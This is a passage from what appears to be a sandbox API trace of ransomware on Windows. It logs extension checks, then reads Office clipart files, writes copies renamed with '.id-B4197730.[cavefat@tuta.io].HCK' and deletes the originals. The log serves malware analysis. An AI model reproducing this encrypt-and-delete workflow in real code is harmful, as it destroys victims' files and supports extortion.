lstrlenW (lpString=".rar") returned 4 [0179.865] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.865] lstrlenW (lpString=".bz2") returned 4 [0179.865] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.865] lstrlenW (lpString=".7z") returned 3 [0179.865] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP") returned 68 [0179.865] lstrlenW (lpString=".dbf") returned 4 [0179.865] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP") returned 68 [0179.865] lstrlenW (lpString=".1cd") returned 4 [0179.865] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.BMP") returned 68 [0179.865] lstrlenW (lpString=".jpg") returned 4 [0179.865] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.865] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0179.865] lstrlenW (lpString="PH02748G.GIF") returned 12 [0179.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.872] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=24720) returned 1 [0179.872] CloseHandle (hObject=0x370) returned 1 [0179.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748g.gif")) returned 0x220 [0179.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748g.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.876] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.877] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748g.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.880] GetLastError () returned 0x0 [0179.880] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x6090, lpOverlapped=0x0) returned 1 [0179.882] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x60a0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x60a0, lpOverlapped=0x0) returned 1 [0179.883] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.883] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.883] SetEndOfFile (hFile=0x2fc) returned 1 [0179.885] CloseHandle (hObject=0x2fc) returned 1 [0179.885] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.886] SetEndOfFile (hFile=0x3a4) returned 1 [0179.888] CloseHandle (hObject=0x3a4) returned 1 [0179.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748g.gif")) returned 1 [0179.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF") returned 68 [0179.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF") returned 68 [0179.892] lstrlenW (lpString=".doc") returned 4 [0179.892] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0179.892] lstrlenW (lpString=".docx") returned 5 [0179.892] lstrcmpiW (lpString1=".docx", lpString2="G.GIF") returned -1 [0179.892] lstrlenW (lpString=".pdf") returned 4 [0179.892] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0179.892] lstrlenW (lpString=".xls") returned 4 [0179.892] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0179.892] lstrlenW (lpString=".xlsx") returned 5 [0179.893] lstrcmpiW (lpString1=".xlsx", lpString2="G.GIF") returned -1 [0179.893] lstrlenW (lpString=".ppt") returned 4 [0179.893] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0179.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF") returned 68 [0179.893] lstrlenW (lpString=".zip") returned 4 [0179.893] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0179.893] lstrlenW (lpString=".rar") returned 4 [0179.893] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0179.893] lstrlenW (lpString=".bz2") returned 4 [0179.893] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0179.893] lstrlenW (lpString=".7z") returned 3 [0179.893] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0179.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF") returned 68 [0179.893] lstrlenW (lpString=".dbf") returned 4 [0179.893] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0179.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF") returned 68 [0179.893] lstrlenW (lpString=".1cd") returned 4 [0179.893] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0179.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF") returned 68 [0179.893] lstrlenW (lpString=".jpg") returned 4 [0179.893] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0179.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF") returned 68 [0179.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF") returned 68 [0179.893] lstrlenW (lpString=".doc") returned 4 [0179.893] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0179.893] lstrlenW (lpString=".docx") returned 5 [0179.893] lstrcmpiW (lpString1=".docx", lpString2="G.GIF") returned -1 [0179.893] lstrlenW (lpString=".pdf") returned 4 [0179.893] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0179.893] lstrlenW (lpString=".xls") returned 4 [0179.893] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0179.893] lstrlenW (lpString=".xlsx") returned 5 [0179.893] lstrcmpiW (lpString1=".xlsx", lpString2="G.GIF") returned -1 [0179.893] lstrlenW (lpString=".ppt") returned 4 [0179.893] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0179.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF") returned 68 [0179.893] lstrlenW (lpString=".zip") returned 4 [0179.893] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0179.893] lstrlenW (lpString=".rar") returned 4 [0179.893] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0179.893] lstrlenW (lpString=".bz2") returned 4 [0179.893] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0179.893] lstrlenW (lpString=".7z") returned 3 [0179.893] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0179.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF") returned 68 [0179.893] lstrlenW (lpString=".dbf") returned 4 [0179.893] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0179.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF") returned 68 [0179.893] lstrlenW (lpString=".1cd") returned 4 [0179.893] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0179.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.GIF") returned 68 [0179.893] lstrlenW (lpString=".jpg") returned 4 [0179.894] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0179.894] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0179.894] lstrlenW (lpString="PH02750G.GIF") returned 12 [0179.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.899] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=25799) returned 1 [0179.899] CloseHandle (hObject=0x2fc) returned 1 [0179.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750g.gif")) returned 0x220 [0179.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750g.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.903] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.903] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750g.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.905] GetLastError () returned 0x0 [0179.905] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x64c7, lpOverlapped=0x0) returned 1 [0179.907] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x64d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x64d0, lpOverlapped=0x0) returned 1 [0179.908] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.908] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.909] SetEndOfFile (hFile=0x2fc) returned 1 [0179.911] CloseHandle (hObject=0x2fc) returned 1 [0179.912] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.912] SetEndOfFile (hFile=0x3a4) returned 1 [0179.918] CloseHandle (hObject=0x3a4) returned 1 [0179.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750g.gif")) returned 1 [0179.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF") returned 68 [0179.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF") returned 68 [0179.923] lstrlenW (lpString=".doc") returned 4 [0179.923] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0179.923] lstrlenW (lpString=".docx") returned 5 [0179.923] lstrcmpiW (lpString1=".docx", lpString2="G.GIF") returned -1 [0179.923] lstrlenW (lpString=".pdf") returned 4 [0179.923] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0179.923] lstrlenW (lpString=".xls") returned 4 [0179.923] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0179.923] lstrlenW (lpString=".xlsx") returned 5 [0179.923] lstrcmpiW (lpString1=".xlsx", lpString2="G.GIF") returned -1 [0179.923] lstrlenW (lpString=".ppt") returned 4 [0179.923] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0179.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF") returned 68 [0179.923] lstrlenW (lpString=".zip") returned 4 [0179.923] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0179.923] lstrlenW (lpString=".rar") returned 4 [0179.923] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0179.923] lstrlenW (lpString=".bz2") returned 4 [0179.923] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0179.923] lstrlenW (lpString=".7z") returned 3 [0179.923] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0179.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF") returned 68 [0179.923] lstrlenW (lpString=".dbf") returned 4 [0179.923] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0179.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF") returned 68 [0179.923] lstrlenW (lpString=".1cd") returned 4 [0179.923] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0179.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF") returned 68 [0179.923] lstrlenW (lpString=".jpg") returned 4 [0179.923] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0179.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF") returned 68 [0179.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF") returned 68 [0179.923] lstrlenW (lpString=".doc") returned 4 [0179.923] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0179.923] lstrlenW (lpString=".docx") returned 5 [0179.923] lstrcmpiW (lpString1=".docx", lpString2="G.GIF") returned -1 [0179.923] lstrlenW (lpString=".pdf") returned 4 [0179.923] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0179.923] lstrlenW (lpString=".xls") returned 4 [0179.923] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0179.923] lstrlenW (lpString=".xlsx") returned 5 [0179.923] lstrcmpiW (lpString1=".xlsx", lpString2="G.GIF") returned -1 [0179.923] lstrlenW (lpString=".ppt") returned 4 [0179.923] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0179.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF") returned 68 [0179.923] lstrlenW (lpString=".zip") returned 4 [0179.923] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0179.923] lstrlenW (lpString=".rar") returned 4 [0179.923] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0179.924] lstrlenW (lpString=".bz2") returned 4 [0179.924] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0179.924] lstrlenW (lpString=".7z") returned 3 [0179.924] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0179.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF") returned 68 [0179.924] lstrlenW (lpString=".dbf") returned 4 [0179.924] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0179.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF") returned 68 [0179.924] lstrlenW (lpString=".1cd") returned 4 [0179.924] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0179.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF") returned 68 [0179.924] lstrlenW (lpString=".jpg") returned 4 [0179.924] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0179.924] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.924] lstrlenW (lpString="PH02752U.BMP") returned 12 [0179.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.928] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=31752) returned 1 [0179.928] CloseHandle (hObject=0x370) returned 1 [0179.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752u.bmp")) returned 0x220 [0179.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.931] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.931] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.934] GetLastError () returned 0x0 [0179.934] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x7c08, lpOverlapped=0x0) returned 1 [0179.939] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7c10, lpOverlapped=0x0) returned 1 [0179.940] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.940] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.940] SetEndOfFile (hFile=0x3a4) returned 1 [0179.942] CloseHandle (hObject=0x3a4) returned 1 [0179.942] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.942] SetEndOfFile (hFile=0x370) returned 1 [0179.943] CloseHandle (hObject=0x370) returned 1 [0179.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752u.bmp")) returned 1 [0179.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP") returned 68 [0179.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP") returned 68 [0179.947] lstrlenW (lpString=".doc") returned 4 [0179.947] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.947] lstrlenW (lpString=".docx") returned 5 [0179.947] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.947] lstrlenW (lpString=".pdf") returned 4 [0179.947] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.947] lstrlenW (lpString=".xls") returned 4 [0179.947] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.947] lstrlenW (lpString=".xlsx") returned 5 [0179.947] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.947] lstrlenW (lpString=".ppt") returned 4 [0179.947] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP") returned 68 [0179.947] lstrlenW (lpString=".zip") returned 4 [0179.947] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.947] lstrlenW (lpString=".rar") returned 4 [0179.947] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.947] lstrlenW (lpString=".bz2") returned 4 [0179.947] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.947] lstrlenW (lpString=".7z") returned 3 [0179.947] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP") returned 68 [0179.947] lstrlenW (lpString=".dbf") returned 4 [0179.947] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP") returned 68 [0179.947] lstrlenW (lpString=".1cd") returned 4 [0179.947] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP") returned 68 [0179.947] lstrlenW (lpString=".jpg") returned 4 [0179.947] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP") returned 68 [0179.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP") returned 68 [0179.947] lstrlenW (lpString=".doc") returned 4 [0179.947] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.947] lstrlenW (lpString=".docx") returned 5 [0179.947] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.947] lstrlenW (lpString=".pdf") returned 4 [0179.947] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.947] lstrlenW (lpString=".xls") returned 4 [0179.947] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.947] lstrlenW (lpString=".xlsx") returned 5 [0179.947] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.947] lstrlenW (lpString=".ppt") returned 4 [0179.950] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP") returned 68 [0179.950] lstrlenW (lpString=".zip") returned 4 [0179.950] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.950] lstrlenW (lpString=".rar") returned 4 [0179.950] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.950] lstrlenW (lpString=".bz2") returned 4 [0179.950] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.950] lstrlenW (lpString=".7z") returned 3 [0179.950] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP") returned 